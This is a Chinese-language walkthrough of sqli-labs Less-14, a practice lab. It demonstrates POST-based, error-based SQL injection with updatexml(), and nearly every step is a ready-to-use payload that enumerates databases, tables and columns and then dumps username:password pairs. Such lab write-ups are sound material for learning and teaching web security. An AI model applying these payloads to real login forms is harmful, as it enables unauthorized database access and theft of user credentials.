当前位置: 首页 > article >正文

sqli-labs less-14post报错注入updatexml

post提交报错注入

在这里插入图片描述

闭合方式及注入点

利用hackbar进行注入,构造post语句

uname=aaa"passwd=bbb&Submit=Submit
页面报错,根据分析,闭合方式".

确定列数

构造

uname=aaa" or 1=1 # &passwd=bbb&Submit=Submit 确定存在注入

uname=aaa" order by 3 # &passwd=bbb&Submit=Submit 有报错
uname=aaa" order by 2 # &passwd=bbb&Submit=Submit 无报错,列数2

回显位置

uname=aaa" union select 1,2 # &passwd=bbb&Submit=Submit
发现页面没有回显,想到前面 存在报错,想到报错注入

使用updatexml()函数来进行报错注入

查询数据库与版本等

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select database())),3) # &passwd=bbb&Submit=Submit
    数据库名
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select version())),3) # &passwd=bbb&Submit=Submit
    版本

爆出所有数据库

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select schema_name from information_schema.schemata limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select schema_name from information_schema.schemata limit 5,1)),3) # &passwd=bbb&Submit=Submit
    通过修改limit函数的值来查询所有的数据库名

爆出所有表名

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 2,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) # &passwd=bbb&Submit=Submit
    得到users

爆出列名

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1)),3) # &passwd=bbb&Submit=Submit
    得到列id,username,password

爆出数据

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select concat(username,‘:’,password) from security.users limit 0,1)),3) # &passwd=bbb&Submit=Submit
    修改0的值,就可以得到所有的数据

完成,


http://www.kler.cn/news/340572.html

相关文章:

  • gbase8s数据库实现黑白名单的几种方案
  • 网络受限情况下安装openpyxl模块提示缺少Jdcal,et_xmlfile
  • 2-110 基于matlab的双字典交叉稀疏表示的SAR图像变化检测
  • 运行CtsVerifier.apk报错
  • mybatis自定义类型处理器
  • 【2024】前端学习笔记13-JavaScript修改网页样式
  • Java、PHP、ASP、JSP、Kotlin、.NET、Go
  • 蓝牙定位的MATLAB程序※平面上的定位,可自适应蓝牙基站的数量(附下载链接)
  • Java中变量
  • 【TOP K】leetcode 215.数组中第K个最大的元素
  • 移动端实现下拉刷新和上拉加载(内含案例)
  • python 实现Greedy Best First Search最佳优先搜索算法
  • ultralytics yolo segmentation 分割 示例:加载官方segmentation 模型进行推理
  • CF B. Uniqueness
  • numpy np.pad介绍
  • Linux下Socket编程
  • 虚拟机没有网络怎么解决
  • 大数据新视界 --大数据大厂之 GraphQL 在大数据查询中的创新应用:优化数据获取效率
  • Authentication Lab | IP Based Auth Bypass
  • 深入理解作用域【JavaScript】